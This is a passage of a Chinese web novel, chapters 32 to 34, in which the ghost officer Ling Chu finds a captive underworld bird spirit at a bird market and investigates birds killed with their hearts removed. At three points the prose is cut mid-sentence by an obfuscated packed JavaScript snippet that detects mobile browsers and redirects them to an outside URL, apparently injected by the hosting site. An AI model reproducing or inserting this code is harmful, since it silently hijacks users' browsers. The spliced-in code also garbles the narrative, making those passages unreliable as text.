“当然,最重要的是,保护民众的科学认知,拜托了。”陈遇起立,庄重地敬礼。 不愧是当领导的,说起来话一套一套的。凌初都被陈遇这番话说得慷慨激昂了起来。 “好!那各位,我先拉个微信群,咱们都加一下。”凌虚提议道。 “好。” “行啊。” “嗯。” “……” 等所有人都加了群,凌虚对群名犯了难,抬头问:“各位,咱们起个什么群名好?” 龙阅举手:“捉鬼小队001。” “太直白了,又不是拍电影,还001!”李蒙吐槽,“我看就叫‘守护和平’。” “太没特色了。”凌虚撇嘴。 李蒙旁边安安静静的女孩子小声道:“叫‘跨界执法’怎么样?” 所有人的目光都朝她看过来,她白皙的脸庞逐渐泛红,“我、我只是提个建议。” 心严法师却是抚掌大笑:“好!这个名字好!跨界执法,跨越阴阳两界,不错。” “嗯。”老太太也直点头。 长辈都同意了,小辈们也不好再反对,况且,他们也觉得这个名字很不错。于是,凌虚在微信群名处打上了这四个字。 凌初对这位姑娘很有好感,便出声问:“姑娘,你是?” “凌初大人,我是东岳阴司的生无常。” 32. 鸟嘴 “生无常?” 那不就是我亲同事?一家人,啊不,一家鬼,也不对,总归是一家的。凌初走上前握住姑娘的手,“亲人啊!你叫什么名字?” 姑娘柔声答:“复姓欧阳,单名一个‘彤’字,代表朱红色的彤字。” “好!好名字!”凌初叫好。 欧阳彤脸上刚褪去的红晕又悄悄爬了上来。 凌虚站在一旁,瞅着心里直泛酸水,忍不住道:“凌顾问,我俩还一起并肩作战过呢,也不见你对我有多热情!” 凌初还没说话,优雅老太太就冷笑一声:“多大的人了,还跟小辈儿争风吃醋!” 凌虚:“……”不跟你这糟老太太一般见识。 “没有别的事我就先走了,告辞。”老太太撂下一句话就走出八方堂,留下其余人大眼瞪小眼。 “这位是?”凌初看着老太太离去的背影疑惑开口。 龙阅也起身,露出一个极其勾人的笑容,对着凌初说:“凌顾问,这位姓‘钱’,闺名纫兰,敬称‘纫兰夫人’。” “钱纫兰吗?”凌初喃喃道。 原来是江南钱氏的人,怪不得如此高傲。 钱氏乃世家望族,历经百代而不衰,就连凌初这只阴司之鬼,对此也略有耳闻。 心严法师双手合十,“纫兰夫人性子虽冷,但为侠义之人,凌顾问莫恼。” “法师放心,我不是无礼之人。”凌初笑了笑。 陈遇走到凌虚面前,“凌道长,省内的这些人就这几位了,是吗?” 凌虚摇头,“陈队,这几位是我打过交道的,还有一些老家伙们处于半归隐状态,另外还有一些,不是你们需要的人。” “什么意思?” “陈队,不论人鬼,皆分善恶。更何况,干我们这一行的,大多都是骗子!”凌虚语重心长道。 “……”陈遇哑口无言。 那边凌初给欧阳彤和时青寒留过神识印记后,二人就匆匆出门了。一个要上班,一个要上学,干这行都是兼职。 专职的如心严、李蒙等人,也各有事情需要处理,互相道别后便陆续离开了。 龙阅看了眼剩下的四人,从身后摸出一张烫金门票,直接递给凌初,“凌顾问,下个月我有一场秀在京城举办,欢迎你过来看,机酒全包哦。” “哦,谢谢。”凌初接过,门票上印着某某品牌三十周年大秀,最下方写着地址与时间。 “背面有惊喜哦。”龙阅神秘一笑。 凌初翻过来一看,难得露出尴尬的表情,这算什么惊喜?明明是惊吓好不好! 门票背面底色是五彩斑斓的黑,只有一个男人披着白纱的半身照片,锁骨、胸膛、腹肌该露的地方一个不少,若隐若现,说是令人血脉偾张也不为过。 这些其实没什么,让凌初惊吓的是,门票上半裸男人的脸,正是此时此刻站在自己面前的龙阅。 活人真开放啊哈哈哈,凌初的脸都快凝固了。 “拜——下次见!”龙阅冲她飞了个吻,大笑着离开。 凌虚:“……”这小子胆真大啊,连阴差也敢调戏?! 陈遇:“……”世风日下,人心不古。 明山眨巴眨巴大眼睛,好奇地往凌初手上瞅,“这是什么啊?” 凌初一把攥住门票,道了句:“少儿不宜。”说完大步跨出八方堂,几乎是落荒而逃。 “凌道长,有事情电话联系。”陈遇快速说完,跟着跑出去。 凌虚走到明山跟前,一巴掌拍了下他后脑勺,“小孩子家家,脑子里整天在想什么!走,跟我去默《清静经》,静静心。” 明山一手摸着自己后脑勺,委屈地跟在凌虚身后,我明明什么也没干!!! …… 陈遇跑到城隍庙大门口,没看到凌初身影,立马拨通她的电话,“凌顾问,你在哪儿?” “陈队,我有一点私事需要处理。” 凌初那边声音嘈杂,听上去人很多的样子,陈遇没再多说,回了句:“好,明天记得上班。” “知道了。”凌初说完便挂掉电话,然后看向身边的黑猫,“豹尾大人,找我有什么事?” “我跟老太太他儿子、儿媳沟通过了,让他们放心投胎去,我会看顾老太太的。”豹尾尾巴高高扬起,说明他现在心情非常好。 “……”凌初还以为豹尾找她有什么要事,结果就说了个这,耐着性子问:“所以呢?” “所以我来找你走后门了,一定要让他们夫妇投个好胎。”他这话说得理直气壮,凌初一时都没反应过来。 等她反应过来,才知道这家伙找她居然是为了走后门。不是,他这是走后门的态度吗?不知道的还以为是她凌初找豹尾走后门呢! “您多虑了,他们夫妇二人功绩甚伟,阴司不会亏待的。”凌初走到斑马线前停下,正好是红灯。 “哦,我在阴司只管阳世兽魂,不太清楚凡人魂魄之事,所以过来问下你。”豹尾停在凌初脚边,解释道。 路人看着等红灯的黑猫啧啧惊奇,其中一个女生过来搭话:“小姐姐,这是你的猫吗?竟然会等红灯哎,好厉害。它的社会化训练你是怎么做的啊?” 豹尾特地绕着女生转了一圈,同时用尾巴蹭了下她的裤脚。 “哇——”女生赞叹不已。 凌初看了一眼豹尾,笑眯眯对女生说:“这个嘛,他天生的。” 女生的心瞬间又被凌初笑容击中了,往后退了好几步,捂着心口喃喃道:“哇,好帅!” 跟她同行的妹子一把扶住她,冲凌初抱歉地笑了笑,“不好意思,小姐姐,我朋友有点儿花痴。” “没关系,绿灯了,走吗?” “走走走。” 这个小插曲让一人一猫开怀不已,又一同走了段路后,豹尾与凌初在一个十字路口分开。 临走时豹尾极其大方地给凌初撒了一把钱,当然,是纸钱,“凌初,封口费。” “……???”凌初看着一地纸灰,满头黑线,她倒也没落魄到需要捡“垃圾”的程度。 于是素手一挥,纸灰飞扬,转瞬即逝,所有纸钱均散给了附近的孤魂野鬼。 这时,背后传来突兀的一声:“你可真大方啊——” 凌初一惊,瞬间转身,缚魂锁在手,用力甩过去。 没有她预想中的画面,“哎?”抬头定睛一看,只见来人气定神闲地站着,穿着白色西装,胸口袋别着一朵鲜红欲滴的玫瑰,左手插兜,右手握住虚空中的缚魂锁。 正是阴司熟鬼——白无常,谢必安。 凌初当即表演了个“川剧变脸”,谄媚极了,“哟,谢爷,什么风把您吹来了?” 谢必安松开缚魂锁,招招手,“过来。” 凌初屁颠屁颠地就跟着走了。 谢必安领着凌初来到了一家西餐厅,装潢精致、环境优美,明眼人一看就知道,在这里吃饭很贵。 凌初停在门口,止步不前。 谢必安疑惑回头。 “谢爷,我可请不起这顿饭。”凌初抓着玻璃门框道。 “……”谢必安气笑了,低喝一句:“赶紧滚进来,别挡门。” “好嘞!” 二人被侍应生带着落座,“先生,女士,这是我们餐厅的菜单,二位要点什么?” 谢必安下巴一抬,“听她的。” 凌初眼睛瞬间亮了,连忙翻起菜单,不一会儿就合上,然后说:“服务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269485|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,把你们这儿的所有招牌菜都上来。” 侍应生正要记菜品的笔“呲啦”划过纸张,留下一道极其明显的痕迹,他怀疑自己耳朵听错了,“女士,您刚刚是说,所有招牌菜吗?”他们餐厅招牌菜足足二十道呢! “对。”凌初点头,大好机会,怎么能不狠狠宰谢爷一顿呢?!过了这村儿可就没这店了哇。 谢必安嗤笑:“点这么多,你吃得完吗?” “吃不完我打包,谢谢。”凌初把菜单交给侍应生。 “哦,好的。二位稍等。”侍应生懵逼地接过菜单,懵逼地回复凌初,懵逼地往后厨报菜去了。 侍应生走后,凌初正色道:“谢爷,有什么事找我?” 谢必安依旧一副生人勿近的高冷模样,面无表情道:“来给你送钱。” “……”好家伙,你这说话的样子不像是给我送钱,像要送我下地狱,凌初腹诽。 谢必安没废话,直接丢到桌上一百个金元宝,凌初看着桌上金光闪闪的元宝,眼睛都直了。 活人是看不到阴间物品的。因此,当凌初一手一个金元宝往自己怀里捞的时候,画面看起来分外诡异。 所幸这诡异的画面没持续多久,凌初就将所有元宝收入囊中。 她喜滋滋地给谢必安道了个谢,“谢爷,麻烦您了。这等小事还劳烦您跑一趟,真是不好意思。” “正好顺路。”谢必安眼皮都懒得掀开,靠着椅背闭目养神,似乎很疲倦。 刚刚点的餐上来了,摆了满满一桌,“二位,请慢用。” 凌初迫不及待拿起筷子,看着谢必安:“谢爷,动筷吧?” “你吃吧。”谢必安摆手。 “那我就不客气啦。”凌初率先动筷。 窸窸窣窣好一阵,凌初吃掉了三分之一的食物,剩下的喊服务员打包。 打包时她又问了谢必安一嘴:“谢爷,这些菜您真不吃?” 谢必安睁开眼,“我对凡人的食物没兴趣。” “哦。”凌初继续打包。 谢必安见凌初打包好后,掏出一张黑卡付账。 凌初在来阳世之前,经过崔珏一番培训,自然知道这黑卡在活人世界的意思。看吧,同样是鬼,财富差距也这么大! 二人出了餐厅门,谢必安才道出他真正的来意,“鸟嘴联系不上了。” “……?”凌初没听懂,“什么叫‘鸟嘴联系不上了’?她不是在阴司吗?” 鸟嘴是阴司十大阴帅之一,负责拘飞禽之魂,好端端的怎么会联系不上?! 谢必安神情无奈,“十八层地狱生乱,恶鬼出逃人间,前些日子所有拘魂使都被派出来捉拿出逃恶鬼,鸟嘴亦在其中。 出逃恶鬼多数为人魂,动物魂魄不多,飞禽更少,她本应在捉拿恶魂后就返回阴司。但现在,飞禽之魂已全部捉拿完毕,鸟嘴并未回来,我们通过神识联系,都联系不上她。” 说着说着,谢必安的神情变得愈发严肃,堂堂拘魂使,如今竟然失去消息,生死不知,这对阴司来说可不是什么好事。 若是找不到,酆都和地藏王那边,绝对会借此事大做文章…… “谢爷,您跟我说这件事是?”凌初在阴司跟四位妖修拘魂使打交道不多,相熟的也就豹尾一个。 对于鸟嘴,她熟悉又陌生。 “据查,鸟嘴最后一次出现在人间,就是在这里。” “阴司是让我……找她?”凌初试探着问。 “不错。” 凌初:“……”她都想骂鬼了,怎么又是我?阴司是没鬼可用了吗?! 谢必安见她一脸气愤,不紧不慢地补充道:“事成之后,金元宝一千。” “哎?” 33. 鸟笼 “哎?” 凌初听到谢必安的话后,立马变了脸,其实……帮忙找鬼也不是不行哈。 凌初看了眼谢必安,装作很为难的样子,“谢爷,一千金元宝用来找阴司拘魂使,是不是有点儿少啊?” “小鬼,适可而止!”谢必安阴森森道,给你三分颜色就敢开染坊了吗?! “明白明白,谢爷放心,包在我身上了。”凌初见好就收。 “哼。”谢必安冷哼一声,继续往前走,“我还有事,先走了。”他走了三四步后,身形消散,不知去处。 “吓死我啦!!!”谢必安刚走,梦书生就迫不及待开口,刚刚他整只鬼都在白无常的威压之下,连大气都不敢喘。 凌初不答,这才哪到哪,他还没跟十殿阎罗见面呢! 凌初两手提着打包盒往分局的方向走,没走几步身后传来“嘀嘀”声,她回头一看,是霍熹。 霍熹降下车窗,探出头说:“凌顾问,前面路口等我。”说完她加速驶出。 凌初在路口上了车,刚系好安全带霍熹就问:“去哪儿?我送你。” “回局里,把后排这些吃的分给今天值班的同事。”凌初答。 “好。” 两人很快就到了分局,凌初将打包的餐点分给了值班的民警,获得众人一致好评。 “谢谢凌顾问!” “意法餐厅的东西?据说非常好吃,米其林三星呢!凌顾问,我们托你的福啦。” “……” 凌初倒是没想到谢必安随便进的一家店就是米其林餐厅,她不得不承认,有钱鬼的眼光就是跟穷鬼的不太一样。 她在值班人员的欢呼声中出了分局大门,结果发现霍熹竟然还没离开,上前敲了敲车窗:“霍法医,你在局里还有事儿?” “没事,刚接了个电话。我家老太太要过七十大寿,需要给她备个礼物。”霍熹一副沉思的模样,这些年给老太太准备礼物可谓是绞尽脑汁,盆景、花草、玉石、文房墨宝都准备了个遍,她实在是想不出今年能送什么东西了。 “哦,老太太最近有什么兴趣爱好吗?”凌初见她愁眉苦脸,提了个建议。 “唔。”霍熹支起下巴,想了想道:“最近她迷上了养鸟,特别热衷教家里的鹦鹉学说话。”她听她妈说起这个事的时候,一脸震惊,别家的老人都是养只猫猫狗狗,她家老太太偏偏不走寻常路,直接养起了小鸟。 幸亏她住在郊区的独栋里,要是有邻居,光层出不穷的鸟叫声就能惹来不少投诉。 “养鸟啊,不如去花鸟市场,看看有什么会说话的小鸟,买一只送给她?” “也行!”霍熹如梦方醒,这主意不错,她邀请凌初:“凌顾问,还有事情忙吗?不如一起去逛逛?” “我……”拒绝的话刚要说出口,凌初猛然想起了谢必安的嘱托——寻找拘魂使鸟嘴的踪迹。 如果鸟嘴跟豹尾一样,在阳世只能化身鸟类,联系不上很有可能是被凡人抓住了啊,她得去看看怎么一回事,于是回了声:“好啊。” 两人一拍即合,当即朝新城市最大的花鸟市场出发。 …… 新城市最大的花鸟鱼虫市场叫乐水花鸟市场,位于红旗区华兰大道上,约莫有三十多年的历史了。 市场每逢周六周日开市,面积差不多有一千平的样子,各类花草、鱼虫、鸟儿都有。除了常见的品种,有几家店铺也专营诸如热带雨林植物、蜥蜴、蛇之类的异宠,向来是家庭出游、闺蜜逛街之地的首选。 今天是清明假期的最后一天,乐水花鸟市场内人流如织。 霍熹开车在附近绕了一圈,没找到免费停车的地方,于是痛下决心,将车开进了收费的停车场。 车停好后,凌初和霍熹下车走着去市场。 去的路上,两人就看到许多人,或提着花盆绿植,或提笼架鸟,或拎着装着鱼、龟的水箱,几乎没有人空手出来。 “看来我们来对地方了。”霍熹笑道,她在新城长这么大,也是第一次来这里。 凌初目不暇接看着经过的人和物,心不在焉“嗯”了一声。 一进市场,两人直奔鸟宠区域。 还没走近,两人就听到了各种叽叽喳喳的声音,怎一个“吵”字了得! 虎皮、牡丹、玄凤各色鹦鹉琳琅满目,还有会说话的八哥不时来上一句“恭喜发财!”惹得经过的人都要驻足看一眼,小八哥浑身黢黑,羽毛锃亮,一看便知主人养得很好。 霍熹见到八哥时眼睛都亮了,“就它啦!”她兴冲冲地对凌初说,立马上前准备询问价格。 凌初拉住她,示意她往下看。 只见八哥鸟笼下方挂了一张纸片,只有四个大字——“此鸟不售”。 霍熹失落地盯着八哥。 凌初趁机查看周围,没有发现鸟嘴的气息,于是拽着霍熹,边走边说:“霍法医,咱们再去别的地方转转。” 霍熹任由凌初拉着,两人看看这家的鱼,逗逗别家的鸟,逛得不亦乐乎。 直到凌初闻到了一股属于“死人”的味道。 她朝着这股味道走过去,发现散发着这气息的是一位膀大腰圆的中年男人,面色红润,神采奕奕。 凌初脸上露出不解的神情:既然是活人,身上怎么一股腐败的死人味道? 她想要追上去探查清楚,却被霍熹抓住了手腕,“?” “凌顾问,我们进这家店看看吧。”霍熹指着右侧的店铺,凌初顺着她手指的方向看过去,有四个大字——“鸟语花香”,再看店里,有鸟有花,不负其名。 再一转头,那奇怪的人,便找不到身影了,连同那股腐败的气息,也无法闻到了。 “……”机会一眨眼就错过了,凌初悻悻地跟霍熹进了鸟语花香店铺。 一进店里,先是闻到了阵阵花香,却不闻鸟语。 凌初本以为鸟都在睡觉,但仔细一瞧,发现鹦鹉、八哥、文雀都在笼子里活蹦乱跳,嘴也张着,就是发不出声音。 这可太奇怪了! 霍熹也发现了这家的店铺的特别之处,逗了几个鸟笼后,来到柜台后昏昏欲睡的老板跟前,敲了敲桌子。 老板猛地惊醒,见到霍熹和凌初,立刻站起来热络道:“两位客人是买想花还是鸟啊?” 霍熹看了一圈,“老板,你家的鸟怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290802|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫啊?都是哑巴?” “……”老板听到霍熹的话后,瞬间就变得垂头丧气起来,无奈摊手:“我也很纳闷啊,就从上个星期,店里的鸟突然就不叫了,就跟被谁拔了舌头一样。我还专门请兽医过来,吃的喝的都检查过了,没发现什么问题,鸟儿的身体也很健康,就是不知道原因!唉,真是撞了邪了!” 听到这个离谱的猜测,霍熹突然笑出声:“哈哈哈……也许是因为什么事情应激了?” 凌初不通鸟语,无法跟它们交流,但撞邪?说不准是真的呢! “老板,最近你这儿有没有什么特别的人过来?或者是特别的鸟?”凌初问道。 老板仔细想了下,突然一拍手,“对喽,就是捡了它后我店里的鸟才不叫的!”老板一脸“捉住罪魁祸首”的表情,“噔噔噔”走到里屋,提了一个蒙着黑布的鸟笼出来。 将鸟笼挂到栏杆上,他伸手掀开黑布,映入眼帘的是一只羽毛多彩艳丽的——乌鸦? 霍熹觉得这只鸟长得是比较像乌鸦些,但这羽毛,可真稀罕啊! 凌初看到它的瞬间,心都提了起来,五彩羽毛的鸟吗? 阴司文书曾有记载:鸟嘴一族,高傲异常,喜华贵美丽之物,常着五彩羽衣。 这应该不是巧合吧? 鸟笼内的五彩乌鸦猛地见到阳光,不耐烦地掀开眼皮看了众人一眼后,紧接着又闭上了眼,又是这些凡人,无趣! “……”瞧这蔑视一切的眼神,一定是鸟嘴无疑! 霍熹的好奇心被勾起来,问在场二人:“它刚刚,是不是睁眼了?而且,好像是鄙视的眼神?” 老板猛点头:“对对对!” 凌初没说话,她在想鸟嘴看上去并无大碍,怎么会跟阴司失去联系呢?难道是笼子的问题?她的视线瞥向笼子,这一看不要紧,这笼子上面,好像真的有禁忌法术哎?! 鸟笼乍看平平无奇,但不是一般的钢丝鸟笼,而是木制的。并且,这木头也不一般,乃是桃木。桃木本就有驱邪之效,更遑论雕刻着东方鬼帝——神荼郁垒的桃木了。 平常的桃木雕刻神荼郁垒,仅有驱鬼的作用。要想镇压鸟嘴这个拘魂使,必须是制作鸟笼时,注入了法力。 制作鸟笼的人,一定是位得道高人。 总之,现在这个情况可以简称为:大水冲了龙王庙,官大一级压死鬼。 阴差鬼神之力被镇压,不能使用,可不就联系不了阴司吗! 凌初本想散发阴差气息,但想到那个奇怪的“人”,又止住了动作。她手欠似的上手,晃动鸟笼,硬生生把鸟嘴晃醒了。 鸟嘴怒目圆睁,刚想给凌初来上一口,就见她将右手袖子往上捋,露出了一只很特别的木镯,正是寻鬼镯。 鸟嘴整只鸟都愣住了,低头看了看爪子上的一模一样的缩小版寻鬼镯,看凌初的眼神中充满复杂:“嘎嘎(阴司的鬼)?” 三人听着这堪比鸭子叫的声音,不约而同地沉默了。 老板:这到底是个什么玩意儿? 霍熹:什么新品种的乌鸦?还是鸭子? 凌初:我不能笑,绝对不能笑。鸟嘴一族,最记仇了! 34. 消失的心脏 经过一番讨价还价,凌初最后以二百五十元的价格,买下了鸟嘴。 霍熹也很想要这只特别的鸟,但被凌初一科普(忽悠),新物种身上可能携带各种不知名病毒,万一让霍家老太太养的鸟全军覆没就不好了。 霍熹只好作罢,在另一家店铺买了只毛色特别的和尚鹦鹉后,便跟凌初一起离开乐水花鸟市场。 说来也是奇怪,凌初前脚刚提着鸟嘴离开鸟语花香这家店,后脚店里的鸟儿就叽叽喳喳地叫了起来。 “果然是因为这只怪鸟!”老板斩钉截铁道。 霍熹和凌初在分局门口分开。 凌初小跑着回到房间,刚到屋里就打开鸟笼,鸟嘴立刻飞出来,站到茶几上,口吐人言:“阁下是?” “阴律司凌初。” “……”鸟嘴沉默了,原来她就是被崔珏抢走的上一只万鬼之王。 凌初倒了两杯水,其中一杯放到了茶几上,“鸟嘴大人,请。” 鸟嘴立刻飞到茶杯上,用她的喙,一点一点饮水。 等鸟嘴喝饱水后,凌初才说:“鸟嘴大人,我受白无常所托,在人间搜寻你的踪迹。如今你已自由,是否启程返回阴司?” 鸟嘴昂起头,豆子眼中充满严肃的意味,“凌初,此地有人勾结恶鬼,能让阳寿已尽者“死而复生”!” 凌初喝水的动作一顿,心道:乐水花鸟市场遇到的那个“人”果然有问题! 但她并未表露出来,“鸟嘴大人,你我都知道,‘死而复生’是邪术,使用邪术,很容易招来恶魂。但此事说到底还是人鬼之间的纠葛,我会如实跟阴司禀告,自有阴差处理。” 言下之意是鸟嘴作为拘捕飞禽魂魄的拘魂使,人魂之事,与她无关。 鸟嘴听了凌初的话,也不生气,自顾自梳理了下身上的羽毛,接着说:“我知道,阴司诸事,泾渭分明。不过,我初到人间时,偶遇暴雨,一小姑娘为我挡雨,只可惜……” 生平最讨厌话只说一半的家伙,凌初忍不住搭腔:“可惜什么?” 鸟嘴冷漠地瞥了凌初一眼,声音肃杀:“可惜小姑娘是个没福气的,身患重病,时日无多。没过几天便去世了,她死后,我本想亲自带她去阴司投胎,可我竟然无法召唤她的魂魄,问了前来勾魂的阴差,也没有消息。 我想,她可能有宗教信仰,信佛,许是去了阴曹地府也说不准。但是前些天,我在街上看到了她,她竟与活人无异。我料定她身份有异,想要探查一番,却发现无法看透她的身魂。” 阴司鬼神,探魂识魄乃是看家本领,绝不会无缘无故失效。 “所以你就认为是恶鬼附身在她身上?”凌初喝了口水道,此事确实不寻常,但没亲眼看见,她也不好妄下定论。 鸟嘴扇动翅膀,带起一阵阴风,房间内各种物品晃动,顿时叮叮咣咣地响起来。 “小鬼,我可是阴司十大阴帅,别说是区区凡人魂魄,连你身上藏着的鬼,我一眼便能察觉。”她的语气十分不悦。 “……”凌初左手接住从斗柜跌下来的花瓶,右手抓住墙上掉落的挂画,放回原位后,无声骂了一句:法力高了不起啊。 但凡遇到阴司鬼神,一个两个总拿这件事警告她,凌初都有些无可奈何了。 不过梦书生的气息她也没刻意隐藏,一来是觉得没必要,二来是想让他知难而退,尽早离开。 但凌初低估了梦书生的脸皮之厚,就像现在,明明鸟嘴都已经点明他的存在,可他仍旧不发一语,装作听不见的样子,龟缩在小小的一片树叶暗纹里。 凌初都有些佩服起梦书生了。 转过身,她面无表情地拍马屁:“哦,鸟嘴大人真厉害。” 鸟嘴:“……”崔判手底下的鬼是怎么回事儿?!“总之,不解决此事,我是不会回阴司的。” “……行吧,不过我会将你的消息如实告知白无常。”足足一千枚金元宝,这可是巨款! 凌初说完便准备给谢必安写信,手指在虚空中一笔笔划过。 “且慢!”鸟嘴叫停她的动作。 “鸟嘴大人还有事儿?”凌初动作不停,她马上就要写好信了。 “捉鬼守则说过,禁止与活人产生因果。这件事如果让阴司知道,我必然不能留在人间,所以,我的消息现在还不能告诉谢必安。”鸟嘴的目光紧紧盯着凌初的手。 淡蓝色的字符一个个飘在虚空中,凌初写下最后一个字,停手,只需吹上一口气,这封信便能直接送到谢必安识海中。 她眸中闪现一点精光,笑嘻嘻反问:“可是,鸟嘴大人,我凭什么帮你?知情不报,可是重罪。” 鸟嘴活了数百年,头一次遇到凌初这种趁火打劫的阴差。 阴差趁火打劫并不罕见,罕见的是打劫对象也是阴差! “你的条件是什么?”鸟嘴懒得废话,直接开门见山。 “白无常用两千金元宝,让我留意你的消息;而鸟嘴大人你,想要隐瞒,至少也得两千个金元宝吧?你说呢?”凌初狮子大开口道。 “你疯了!”鸟嘴听到凌初条件时第一反应是震惊,震惊于阴司竟然花两千金元宝让阴律司一个小小鬼差搜寻她的消息?! 就算她是万鬼之王也不至于这么大手笔吧,两千金元宝,这可是她作为拘魂使一年的俸禄! 凌初一百八十年前从无间地狱打出来时,她并未在阴司,所以,有关“万鬼之王”的消息,都是道听途说,对于凌初的实力,鸟嘴也是将信将疑。 “鸟嘴大人,你可是阴司拘魂使,对阴司来讲,当然很重要。”凌初又奉承一句。 “……”谢谢,如果不是知道阴司的真实面目,我可能也会觉得自己对阴司很重要。可事实是,阴司妖修众多,其中飞禽数量,只多不少,没了我这只“鸟嘴”,还会有下一只“鸟嘴”。 谢必安找我,也只是公事公办而已。 鸟嘴略一思考,狠心答应了,“成交。但我有个条件,你必须帮我查清楚那姑娘身上的蹊跷。” “自然。”凌初大手一挥,漂浮在虚空中的信,瞬间被划掉,消散于眼前。 “那姑娘叫什么名字?” “祝盈安。” 二鬼相顾无言,无声感叹:命中早夭,却起了这么一个满载平安愿景的名字,不正是造化弄人吗? …… 隔天凌初照旧去红旗分局上班,留下鸟嘴独自在家,美其名曰:休养生息。 打过卡后,凌初还没来得及坐到位子上,就跟打开办公室门的陈遇撞了个正着,她镇定地打了个招呼:“陈队,早啊!” “早。”陈遇点头,然后便往楼上去,看方向,似乎是法医室。 张小曈和李善言两个人在最后一分钟,踩点冲进办公室。 “啊,还好还好,没迟到。”张小曈看着手机心有余悸道。清明值班一天可把她累坏了,两天假期,补了一天觉,打了一天游戏,今早起晚了差点儿迟到! 李善言瘫坐在椅子上,大口大口喘气,鬼知道他刚刚是拼了多大的力才在三分钟内从公交站跑进办公室,累死他啦! 张小曈在对面坐下后,凌初就递过来两个包子和一杯豆浆,“喏,早餐。” “谢谢凌初姐!”张小曈道了谢,然后美美地吃上了“爱心早餐”。 李善言目光幽怨,活像个被抛弃了的怨夫,“凌初姐,我的呢?你偏心!” 昨天他在值班群里看到凌初给值班人员带了意法餐厅的食物,羡慕嫉妒得要死,这可是米其林啊!长这么大他还没吃过米其林呢! 错过米其林也就罢了,现在连包子豆浆都没他的份,李善言郁闷了,再次说出了那句经典名言——“人不患寡而患不均啊[17]。” “行了,别一副我怎么着你了的鬼样子,明天给你带。”凌初看不惯李善言这副死样。 “你说到做到!”李善言听到后,原地满血复活。 凌初比了个“OK”的手势,然后对张小曈说:“小曈,能不能帮我查个人?名字叫祝盈安,大概十六七岁。” “行啊。对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303969|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,凌初姐,你查他做什么?” 凌初眼都不眨一下,信口胡诌:“哦,我捡到她丢的东西了,想还给她。” “啪啪啪”,键盘声响起,几秒后,祝盈安的信息就跳了出来,“喏。” 凌初看着电脑界面,一行一行扫过去,然后目光停在了几个字上——新城市第一中学高一学生。 市一中的?跟时青寒一个学校。 这可真是——太巧了。 凌初掏出手机,打算给时青寒发微信,刚敲了几个字就听到陈遇在楼上喊:“上楼开会!” “……”不是,阳世每周一开会的习惯就不能改改吗?! 凌初删掉对话框里的字,郁闷地上楼了。 会议上,都是些老生常谈的问题,先统计了上周辖区内发生的案件,然后再说本周的计划安排,再之后就是市局下放的政治材料之类的。 凌初心不在焉地开完了会,正准备下楼,被陈遇叫住:“凌顾问,一会儿跟我出趟外勤。” “哦。” 等坐到车里,凌初才发现后排有人。 霍熹摆了摆手:“嗨,凌顾问。” “霍法医也去?”什么样的外勤能让法医出动,凌初心中顿时有了不好的预感,又死人了? 陈遇和霍熹都没说话,凌初心里想着祝盈安的事情,也没出声,三个人就这么一路沉默着,来到了胜利路派出所。 嗯?派出所死人了? 凌初一下车,浓烈的血腥气扑鼻而来,还好,不是人血。 房间内一个熟人跑过来,是胜利路派出所所长——王茂森。 “陈队长,霍法医,凌顾问,辛苦了!”王茂森逐一喊名字,挺好,都是熟人。 “王所长,你电话里说的东西,在哪?”陈遇直奔主题。 “哦,这边这边,来来来。” 几人一边走一边说,王茂森絮絮叨叨:“一开始有居民报警,我还以为是意外,后来越来越多人反映情况,那这就不像是意外了,可能是蓄意谋害。但是吧,普通人怎么能爬上那么高的树呢?而且,所有的尸体都像是用利爪剖开的,没有切口,最诡异的是,尸体大都十分完整,只少了一样东西。” 众人来到一扇门前,霍熹问:“什么?” 王茂森推开房门,数十只鸟类的尸体整齐地摆放在地上,触目惊心。 “心脏!” 是的,迄今为止,发现的所有鸟类尸体,都少了心脏。 胜利路派出所的人意识到这点时,所有人都起了鸡皮疙瘩,于是他们决定上报给分局。 因此,霍熹跟着出这趟外勤。 “通知林业部门和森林公安的人了吗?”陈遇一边戴检查手套一边问。 “通知了,起初怀疑是有大型动物捕杀,但搜了好几天,也没发现动物踪迹。”王茂森语气沮丧,“后来说这件事发生在市区,而且这些鸟也不是国家保护动物,不涉及非法交易买卖,就写个报告交差了。” 霍熹撇嘴,嫌弃之情溢于言表。 她走上前,拿起一只小麻雀,放到桌子上,仔细检查起来,头也不抬问:“做过毒理和病理检验了吗?” “做了做了,都没问题。” 霍熹不说话了,皱着眉头查看小麻雀的尸体。 